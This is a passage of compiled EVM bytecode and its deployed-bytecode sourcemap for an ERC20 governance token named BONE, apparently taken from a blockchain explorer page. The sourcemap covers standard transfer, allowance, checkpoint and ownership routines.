e3565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611fa7848361138090919063ffffffff16565b9050611fb585848484612018565b5050505b5b505050565b600082821115612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb90612efd565b60405180910390fd5b81836120109190612d59565b905092915050565b600061203c436040518060600160405280603481526020016130616034913961231b565b905060008463ffffffff161180156120da57508063ffffffff16600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876120a491906128e3565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156121545781600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761212e91906128e3565b63ffffffff1663ffffffff168152602001908152602001600020600101819055506122c4565b60405180604001604052808263ffffffff16815260200183815250600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff166001856122139190612f1d565b63ffffffff1611612259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225090612fc9565b60405180910390fd5b6001846122669190612f1d565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161230c929190612fe9565b60405180910390a25050505050565b600064010000000083108290612367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235e919061240a565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123ab578082015181840152602081019050612390565b838111156123ba576000848401525b50505050565b6000601f19601f8301169050919050565b60006123dc82612371565b6123e6818561237c565b93506123f681856020860161238d565b6123ff816123c0565b840191505092915050565b6000602082019050818103600083015261242481846123d1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061245c82612431565b9050919050565b61246c81612451565b811461247757600080fd5b50565b60008135905061248981612463565b92915050565b6000819050919050565b6124a28161248f565b81146124ad57600080fd5b50565b6000813590506124bf81612499565b92915050565b600080604083850312156124dc576124db61242c565b5b60006124ea8582860161247a565b92505060206124fb858286016124b0565b9150509250929050565b60008115159050919050565b61251a81612505565b82525050565b60006020820190506125356000830184612511565b92915050565b6125448161248f565b82525050565b600060208201905061255f600083018461253b565b92915050565b60008060006060848603121561257e5761257d61242c565b5b600061258c8682870161247a565b935050602061259d8682870161247a565b92505060406125ae868287016124b0565b9150509250925092565b600060ff82169050919050565b6125ce816125b8565b82525050565b60006020820190506125e960008301846125c5565b92915050565b6000602082840312156126055761260461242c565b5b60006126138482850161247a565b91505092915050565b61262581612451565b82525050565b6000602082019050612640600083018461261c565b92915050565b600063ffffffff82169050919050565b61265f81612646565b82525050565b600060208201905061267a6000830184612656565b92915050565b600080604083850312156126975761269661242c565b5b60006126a58582860161247a565b92505060206126b68582860161247a565b9150509250929050565b6126c981612646565b81146126d457600080fd5b50565b6000813590506126e6816126c0565b92915050565b600080604083850312156127035761270261242c565b5b60006127118582860161247a565b9250506020612722858286016126d7565b9150509250929050565b60006040820190506127416000830185612656565b61274e602083018461253b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061279c57607f821691505b602082108114156127b0576127af612755565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006127ec60208361237c565b91506127f7826127b6565b602082019050919050565b6000602082019050818103600083015261281b816127df565b9050919050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b600061287e60278361237c565b915061288982612822565b604082019050919050565b600060208201905081810360008301526128ad81612871565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006128ee82612646565b91506128f983612646565b92508282101561290c5761290b6128b4565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061295182612646565b915061295c83612646565b92508261296c5761296b612917565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129d360268361237c565b91506129de82612977565b604082019050919050565b60006020820190508181036000830152612a02816129c6565b9050919050565b6000612a148261248f565b9150612a1f8361248f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a5457612a536128b4565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a95601b8361237c565b9150612aa082612a5f565b602082019050919050565b60006020820190508181036000830152612ac481612a88565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b2760248361237c565b9150612b3282612acb565b604082019050919050565b60006020820190508181036000830152612b5681612b1a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bb960228361237c565b9150612bc482612b5d565b604082019050919050565b60006020820190508181036000830152612be881612bac565b9050919050565b50565b6000612bff60008361237c565b9150612c0a82612bef565b600082019050919050565b60006020820190508181036000830152612c2e81612bf2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c9160258361237c565b9150612c9c82612c35565b604082019050919050565b60006020820190508181036000830152612cc081612c84565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d2360238361237c565b9150612d2e82612cc7565b604082019050919050565b60006020820190508181036000830152612d5281612d16565b9050919050565b6000612d648261248f565b9150612d6f8361248f565b925082821015612d8257612d816128b4565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612de960218361237c565b9150612df482612d8d565b604082019050919050565b60006020820190508181036000830152612e1881612ddc565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e7b60228361237c565b9150612e8682612e1f565b604082019050919050565b60006020820190508181036000830152612eaa81612e6e565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000612ee7601e8361237c565b9150612ef282612eb1565b602082019050919050565b60006020820190508181036000830152612f1681612eda565b9050919050565b6000612f2882612646565b9150612f3383612646565b92508263ffffffff03821115612f4c57612f4b6128b4565b5b828201905092915050565b7f424f4e453a3a5f7772697465436865636b706f696e743a206e6577206368656360008201527f6b706f696e742065786365656473203332206269747300000000000000000000602082015250565b6000612fb360368361237c565b9150612fbe82612f57565b604082019050919050565b60006020820190508181036000830152612fe281612fa6565b9050919050565b6000604082019050612ffe600083018561253b565b61300b602083018461253b565b939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365424f4e453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e50a4ab988aeb2c255cb7f1b3305c5dd958e20dea459ee8b9614f6d4711fb3c264736f6c63430008080033
Deployed Bytecode Sourcemap
15708:6432:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9815:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10981:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9699:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12397:321;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10017:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11328:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10487:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17402:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17150:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16256:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10116:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10361:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18395:1212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15889:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9914:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17857:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11724:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12055:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19808:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10251:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10769:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16117:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;8452:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9815:91;9860:13;9893:5;9886:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9815:91;:::o;10981:169::-;11064:4;11081:39;11090:12;:10;:12::i;:::-;11104:7;11113:6;11081:8;:39::i;:::-;11138:4;11131:11;;10981:169;;;;:::o;9699:108::-;9760:7;9787:12;;9780:19;;9699:108;:::o;12397:321::-;12503:4;12520:36;12530:6;12538:9;12549:6;12520:9;:36::i;:::-;12567:121;12576:6;12584:12;:10;:12::i;:::-;12598:89;12636:6;12598:89;;;;;;;;;;;;;;;;;:11;:19;12610:6;12598:19;;;;;;;;;;;;;;;:33;12618:12;:10;:12::i;:::-;12598:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;12567:8;:121::i;:::-;12706:4;12699:11;;12397:321;;;;;:::o;10017:91::-;10066:5;10091:9;;;;;;;;;;;10084:16;;10017:91;:::o;11328:218::-;11416:4;11433:83;11442:12;:10;:12::i;:::-;11456:7;11465:50;11504:10;11465:11;:25;11477:12;:10;:12::i;:::-;11465:25;;;;;;;;;;;;;;;:34;11491:7;11465:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11433:8;:83::i;:::-;11534:4;11527:11;;11328:218;;;;:::o;10487:109::-;8058:12;:10;:12::i;:::-;8047:23;;:7;:5;:7::i;:::-;:23;;;8039:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10584:4:::1;10561:9;:20;10571:9;10561:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;10487:109:::0;:::o;17402:117::-;17463:7;17490:10;:21;17501:9;17490:21;;;;;;;;;;;;;;;;;;;;;;;;;17483:28;;17402:117;;;:::o;17150:104::-;17214:32;17224:10;17236:9;17214;:32::i;:::-;17150:104;:::o;16256:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;10116:127::-;10190:7;10217:9;:18;10227:7;10217:18;;;;;;;;;;;;;;;;10210:25;;10116:127;;;:::o;10361:118::-;10427:4;10451:9;:20;10461:9;10451:20;;;;;;;;;;;;;;;;;;;;;;;;;10444:27;;10361:118;;;:::o;18395:1212::-;18476:7;18517:12;18503:11;:26;18495:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;18584:19;18606:14;:23;18621:7;18606:23;;;;;;;;;;;;;;;;;;;;;;;;;18584:45;;18660:1;18644:12;:17;;;18640:58;;;18685:1;18678:8;;;;;18640:58;18808:11;18756;:20;18768:7;18756:20;;;;;;;;;;;;;;;:38;18792:1;18777:12;:16;;;;:::i;:::-;18756:38;;;;;;;;;;;;;;;:48;;;;;;;;;;;;:63;;;18752:147;;18843:11;:20;18855:7;18843:20;;;;;;;;;;;;;;;:38;18879:1;18864:12;:16;;;;:::i;:::-;18843:38;;;;;;;;;;;;;;;:44;;;18836:51;;;;;18752:147;18994:11;18958;:20;18970:7;18958:20;;;;;;;;;;;;;;;:23;18979:1;18958:23;;;;;;;;;;;;;:33;;;;;;;;;;;;:47;;;18954:88;;;19029:1;19022:8;;;;;18954:88;19052:12;19079;19109:1;19094:12;:16;;;;:::i;:::-;19079:31;;19121:428;19136:5;19128:13;;:5;:13;;;19121:428;;;19158:13;19200:1;19191:5;19183;:13;;;;:::i;:::-;19182:19;;;;:::i;:::-;19174:5;:27;;;;:::i;:::-;19158:43;;19243:20;19266:11;:20;19278:7;19266:20;;;;;;;;;;;;;;;:28;19287:6;19266:28;;;;;;;;;;;;;;;19243:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19329:11;19313:2;:12;;;:27;;;19309:229;;;19368:2;:8;;;19361:15;;;;;;;;;19309:229;19417:11;19402:2;:12;;;:26;;;19398:140;;;19457:6;19449:14;;19398:140;;;19521:1;19512:6;:10;;;;:::i;:::-;19504:18;;19398:140;19143:406;;19121:428;;;19566:11;:20;19578:7;19566:20;;;;;;;;;;;;;;;:27;19587:5;19566:27;;;;;;;;;;;;;;;:33;;;19559:40;;;;;18395:1212;;;;;:::o;15889:39::-;;;;;;;;;;;;;;;;;:::o;9914:95::-;9961:13;9994:7;9987:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9914:95;:::o;17857:107::-;8058:12;:10;:12::i;:::-;8047:23;;:7;:5;:7::i;:::-;:23;;;8039:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17934:22:::1;17940:7;17949:6;17934:5;:22::i;:::-;17857:107:::0;;:::o;11724:269::-;11817:4;11834:129;11843:12;:10;:12::i;:::-;11857:7;11866:96;11905:15;11866:96;;;;;;;;;;;;;;;;;:11;:25;11878:12;:10;:12::i;:::-;11866:25;;;;;;;;;;;;;;;:34;11892:7;11866:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11834:8;:129::i;:::-;11981:4;11974:11;;11724:269;;;;:::o;12055:175::-;12141:4;12158:42;12168:12;:10;:12::i;:::-;12182:9;12193:6;12158:9;:42::i;:::-;12218:4;12211:11;;12055:175;;;;:::o;19808:222::-;19873:7;19892:19;19914:14;:23;19929:7;19914:23;;;;;;;;;;;;;;;;;;;;;;;;;19892:45;;19970:1;19955:12;:16;;;:67;;20021:1;19955:67;;;19974:11;:20;19986:7;19974:20;;;;;;;;;;;;;;;:38;20010:1;19995:12;:16;;;;:::i;:::-;19974:38;;;;;;;;;;;;;;;:44;;;19955:67;19948:74;;;19808:222;;;:::o;10251:102::-;8058:12;:10;:12::i;:::-;8047:23;;:7;:5;:7::i;:::-;:23;;;8039:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10340:5:::1;10317:9;:20;10327:9;10317:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;10251:102:::0;:::o;10769:151::-;10858:7;10885:11;:18;10897:5;10885:18;;;;;;;;;;;;;;;:27;10904:7;10885:27;;;;;;;;;;;;;;;;10878:34;;10769:151;;;;:::o;16117:70::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8452:244::-;8058:12;:10;:12::i;:::-;8047:23;;:7;:5;:7::i;:::-;:23;;;8039:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8561:1:::1;8541:22;;:8;:22;;;;8533:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;8651:8;8622:38;;8643:6;::::0;::::1;;;;;;;;8622:38;;;;;;;;;;;;8680:8;8671:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;8452:244:::0;:::o;1872:179::-;1930:7;1950:9;1966:1;1962;:5;;;;:::i;:::-;1950:17;;1991:1;1986;:6;;1978:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2042:1;2035:8;;;1872:179;;;;:::o;7014:98::-;7067:7;7094:10;7087:17;;7014:98;:::o;14796:346::-;14915:1;14898:19;;:5;:19;;;;14890:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14996:1;14977:21;;:7;:21;;;;14969:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15080:6;15050:11;:18;15062:5;15050:18;;;;;;;;;;;;;;;:27;15069:7;15050:27;;;;;;;;;;;;;;;:36;;;;15118:7;15102:32;;15111:5;15102:32;;;15127:6;15102:32;;;;;;:::i;:::-;;;;;;;;14796:346;;;:::o;12843:635::-;12945:9;:20;12955:9;12945:20;;;;;;;;;;;;;;;;;;;;;;;;;:41;;;;12969:9;:17;12979:6;12969:17;;;;;;;;;;;;;;;;;;;;;;;;;12945:41;12941:77;;;13009:4;12996:17;;:9;;;;;;;;;;;:17;;;12988:30;;;;;;;;;;;;:::i;:::-;;;;;;;;;12941:77;13055:1;13037:20;;:6;:20;;;;13029:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13139:1;13118:23;;:9;:23;;;;13110:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13202:47;13223:6;13231:9;13242:6;13202:20;:47::i;:::-;13282:71;13304:6;13282:71;;;;;;;;;;;;;;;;;:9;:17;13292:6;13282:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;13262:9;:17;13272:6;13262:17;;;;;;;;;;;;;;;:91;;;;13387:32;13412:6;13387:9;:20;13397:9;13387:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;13364:9;:20;13374:9;13364:20;;;;;;;;;;;;;;;:55;;;;13452:9;13435:35;;13444:6;13435:35;;;13463:6;13435:35;;;;;;:::i;:::-;;;;;;;;12843:635;;;:::o;3314:166::-;3400:7;3433:1;3428;:6;;3436:12;3420:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3471:1;3467;:5;;;;:::i;:::-;3460:12;;3314:166;;;;;:::o;8208:89::-;8256:7;8283:6;;;;;;;;;;;8276:13;;8208:89;:::o;20038:376::-;20115:23;20141:10;:21;20152:9;20141:21;;;;;;;;;;;;;;;;;;;;;;;;;20115:47;;20173:24;20200:20;20210:9;20200;:20::i;:::-;20173:47;;20256:9;20232:10;:21;20243:9;20232:21;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;20325:9;20281:54;;20308:15;20281:54;;20297:9;20281:54;;;;;;;;;;;;20346:60;20361:15;20378:9;20389:16;20346:14;:60::i;:::-;20104:310;;20038:376;;:::o;13654:434::-;13757:1;13738:21;;:7;:21;;;;13730:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13814:22;13839:9;:18;13849:7;13839:18;;;;;;;;;;;;;;;;13814:43;;13894:6;13876:14;:24;;13868:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13988:6;13977:8;;:17;;;;:::i;:::-;13956:9;:18;13966:7;13956:18;;;;;;;;;;;;;;;:38;;;;14021:6;14005:12;;:22;;;;;;;:::i;:::-;;;;;;;;14069:1;14043:37;;14052:7;14043:37;;;14073:6;14043:37;;;;;;:::i;:::-;;;;;;;;13719:369;13654:434;;:::o;15609:92::-;;;;:::o;21190:947::-;21296:6;21286:16;;:6;:16;;;;:30;;;;;21315:1;21306:6;:10;21286:30;21282:848;;;21355:1;21337:20;;:6;:20;;;21333:385;;21426:16;21445:14;:22;21460:6;21445:22;;;;;;;;;;;;;;;;;;;;;;;;;21426:41;;21486:17;21518:1;21506:9;:13;;;:60;;21565:1;21506:60;;;21522:11;:19;21534:6;21522:19;;;;;;;;;;;;;;;:34;21554:1;21542:9;:13;;;;:::i;:::-;21522:34;;;;;;;;;;;;;;;:40;;;21506:60;21486:80;;21585:17;21605:21;21619:6;21605:9;:13;;:21;;;;:::i;:::-;21585:41;;21645:57;21662:6;21670:9;21681;21692;21645:16;:57::i;:::-;21359:359;;;21333:385;21756:1;21738:20;;:6;:20;;;21734:385;;21827:16;21846:14;:22;21861:6;21846:22;;;;;;;;;;;;;;;;;;;;;;;;;21827:41;;21887:17;21919:1;21907:9;:13;;;:60;;21966:1;21907:60;;;21923:11;:19;21935:6;21923:19;;;;;;;;;;;;;;;:34;21955:1;21943:9;:13;;;;:::i;:::-;21923:34;;;;;;;;;;;;;;;:40;;;21907:60;21887:80;;21986:17;22006:21;22020:6;22006:9;:13;;:21;;;;:::i;:::-;21986:41;;22046:57;22063:6;22071:9;22082;22093;22046:16;:57::i;:::-;21760:359;;;21734:385;21282:848;21190:947;;;:::o;2563:158::-;2621:7;2654:1;2649;:6;;2641:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;2712:1;2708;:5;;;;:::i;:::-;2701:12;;2563:158;;;;:::o;20422:760::-;20544:18;20565:76;20572:12;20565:76;;;;;;;;;;;;;;;;;:6;:76::i;:::-;20544:97;;20673:1;20658:12;:16;;;:85;;;;;20732:11;20678:65;;:11;:22;20690:9;20678:22;;;;;;;;;;;;;;;:40;20716:1;20701:12;:16;;;;:::i;:::-;20678:40;;;;;;;;;;;;;;;:50;;;;;;;;;;;;:65;;;20658:85;20654:452;;;20809:8;20760:11;:22;20772:9;20760:22;;;;;;;;;;;;;;;:40;20798:1;20783:12;:16;;;;:::i;:::-;20760:40;;;;;;;;;;;;;;;:46;;:57;;;;20654:452;;;20889:33;;;;;;;;20900:11;20889:33;;;;;;20913:8;20889:33;;;20850:11;:22;20862:9;20850:22;;;;;;;;;;;;;;;:36;20873:12;20850:36;;;;;;;;;;;;;;;:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20964:12;20945:31;;20960:1;20945:12;:16;;;;:::i;:::-;:31;;;20937:98;;;;;;;;;;;;:::i;:::-;;;;;;;;;21093:1;21078:12;:16;;;;:::i;:::-;21050:14;:25;21065:9;21050:25;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;20654:452;21144:9;21123:51;;;21155:8;21165;21123:51;;;;;;;:::i;:::-;;;;;;;;20533:649;20422:760;;;;:::o;17527:161::-;17602:6;17633:5;17629:1;:9;17640:12;17621:32;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;17678:1;17664:16;;17527:161;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:93::-;5624:7;5664:10;5657:5;5653:22;5642:33;;5588:93;;;:::o;5687:115::-;5772:23;5789:5;5772:23;:::i;:::-;5767:3;5760:36;5687:115;;:::o;5808:218::-;5899:4;5937:2;5926:9;5922:18;5914:26;;5950:69;6016:1;6005:9;6001:17;5992:6;5950:69;:::i;:::-;5808:218;;;;:::o;6032:474::-;6100:6;6108;6157:2;6145:9;6136:7;6132:23;6128:32;6125:119;;;6163:79;;:::i;:::-;6125:119;6283:1;6308:53;6353:7;6344:6;6333:9;6329:22;6308:53;:::i;:::-;6298:63;;6254:117;6410:2;6436:53;6481:7;6472:6;6461:9;6457:22;6436:53;:::i;:::-;6426:63;;6381:118;6032:474;;;;;:::o;6512:120::-;6584:23;6601:5;6584:23;:::i;:::-;6577:5;6574:34;6564:62;;6622:1;6619;6612:12;6564:62;6512:120;:::o;6638:137::-;6683:5;6721:6;6708:20;6699:29;;6737:32;6763:5;6737:32;:::i;:::-;6638:137;;;;:::o;6781:472::-;6848:6;6856;6905:2;6893:9;6884:7;6880:23;6876:32;6873:119;;;6911:79;;:::i;:::-;6873:119;7031:1;7056:53;7101:7;7092:6;7081:9;7077:22;7056:53;:::i;:::-;7046:63;;7002:117;7158:2;7184:52;7228:7;7219:6;7208:9;7204:22;7184:52;:::i;:::-;7174:62;;7129:117;6781:472;;;;;:::o;7259:328::-;7378:4;7416:2;7405:9;7401:18;7393:26;;7429:69;7495:1;7484:9;7480:17;7471:6;7429:69;:::i;:::-;7508:72;7576:2;7565:9;7561:18;7552:6;7508:72;:::i;:::-;7259:328;;;;;:::o;7593:180::-;7641:77;7638:1;7631:88;7738:4;7735:1;7728:15;7762:4;7759:1;7752:15;7779:320;7823:6;7860:1;7854:4;7850:12;7840:22;;7907:1;7901:4;7897:12;7928:18;7918:81;;7984:4;7976:6;7972:17;7962:27;;7918:81;8046:2;8038:6;8035:14;8015:18;8012:38;8009:84;;;8065:18;;:::i;:::-;8009:84;7830:269;7779:320;;;:::o;8105:182::-;8245:34;8241:1;8233:6;8229:14;8222:58;8105:182;:::o;8293:366::-;8435:3;8456:67;8520:2;8515:3;8456:67;:::i;:::-;8449:74;;853